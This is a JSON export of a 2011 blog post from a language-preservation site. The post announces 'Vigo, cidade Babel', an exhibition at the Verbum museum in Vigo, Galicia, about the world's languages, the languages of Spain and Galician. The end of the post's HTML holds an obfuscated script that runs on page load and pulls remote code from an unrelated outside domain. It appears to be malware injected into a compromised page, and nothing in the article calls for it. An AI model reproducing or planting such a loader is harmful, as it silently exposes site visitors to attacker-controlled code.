{"id":47602,"date":"2011-05-12T16:35:36","date_gmt":"2011-05-12T14:35:36","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=47602"},"modified":"2025-10-21T22:50:30","modified_gmt":"2025-10-21T20:50:30","slug":"may-june-2011-vigo-babel-city-new-exhibition-at-verbum-casas-das-palabras-museum-in-vigo-galicia-spain","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-june-2011-vigo-babel-city-new-exhibition-at-verbum-casas-das-palabras-museum-in-vigo-galicia-spain\/","title":{"rendered":"May-June 2011\u00a0: \u00ab\u00a0Vigo, Babel\u00a0city\u00bb, new exhibition at <i>Verbum &#8211; Casas das Palabras museum <\/i> in Vigo, Galicia (Spain)"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-47607\" title=\"Vigo-1\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Vigo-13.jpg\" alt=\"Vigo-1\" width=\"220\" height=\"165\" \/><\/p>\n<p style=\"text-align: justify;\">Opened in late April with the support of UNESCO in Vigo, North-west of Spain, a new exhibition called &#8220;<strong>Vigo cidade Babel<\/strong>\u201d is now being held\u00a0 at <em><strong>Verbum &#8211; Casas das Palabras<\/strong><\/em>, an 8 year-old one-off museum.<\/p>\n<p style=\"text-align: justify;\">The city council of Vigo, in the heart of Galicia, wished to <strong>reinvigorate this institution<\/strong>, designed as a genuine <strong>space of interaction with languages<\/strong>, and affirm the importance of the latter \u200b\u200bat a time when hundreds of them are being threatened with extinction and when the future of <strong>Galician<\/strong> is uncertain.<\/p>\n<p style=\"text-align: justify;\">&#8220;Vigo, cidade Babel&#8221; is organized in 3 parts:<\/p>\n<p style=\"text-align: justify;\">&#8211; the first is devoted to <strong>languages \u200b\u200bin the world<\/strong> and addresses issues of definition, quantification, language-state relations and legal regimes of multilingualism.<\/p>\n<p style=\"text-align: justify;\">&#8211; the second focuses on the <strong>languages \u200b\u200bof Spain<\/strong>, without forgetting Arabic of Ceuta, Berber, or even Spanish and Catalan sign languages.<\/p>\n<p style=\"text-align: justify;\">&#8211; and the third is assigned to <strong>Galician<\/strong>.<\/p>\n<p style=\"text-align: justify;\">The path of the exhibition leads visitors through a series of documents, in particular  <strong>audiovisual and cartographic ones<\/strong>, specifically designed for it. A <strong>virtual tour<\/strong> is also offered on <em>Verbum<\/em>\u2019s website to all those who won&#8217;t be travelling to Galicia.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em>The exhibition is scheduled in May and June, and will probably be extended until much later.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Verbum \u2013 Casas das Palabras<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Avda de Samil n\u00b017,<\/em><\/p>\n<p style=\"text-align: justify;\"><em>36212 Vigo<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Spain<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.verbum.vigo.org\/es\/exposicionTemporal01_es.php?id=65\" target=\"_blank\">To know more and take the virtual tour<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.sorosoro.org\/le-galicien\">To know more about Galician<\/a> (in French)<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-47605\" title=\"Vigo-2\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Vigo-22.JPG\" alt=\"Vigo-2\" width=\"590\" height=\"246\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/Vigo-22.JPG 738w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/Vigo-22-300x124.jpg 300w\" sizes=\"auto, (max-width: 590px) 100vw, 590px\" \/><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Opened in late April with the support of UNESCO in Vigo, North-west of Spain, a new exhibition called &#8220;Vigo cidade Babel\u201d is now being held\u00a0 at Verbum &#8211; Casas das Palabras, an 8 year-old one-off museum. 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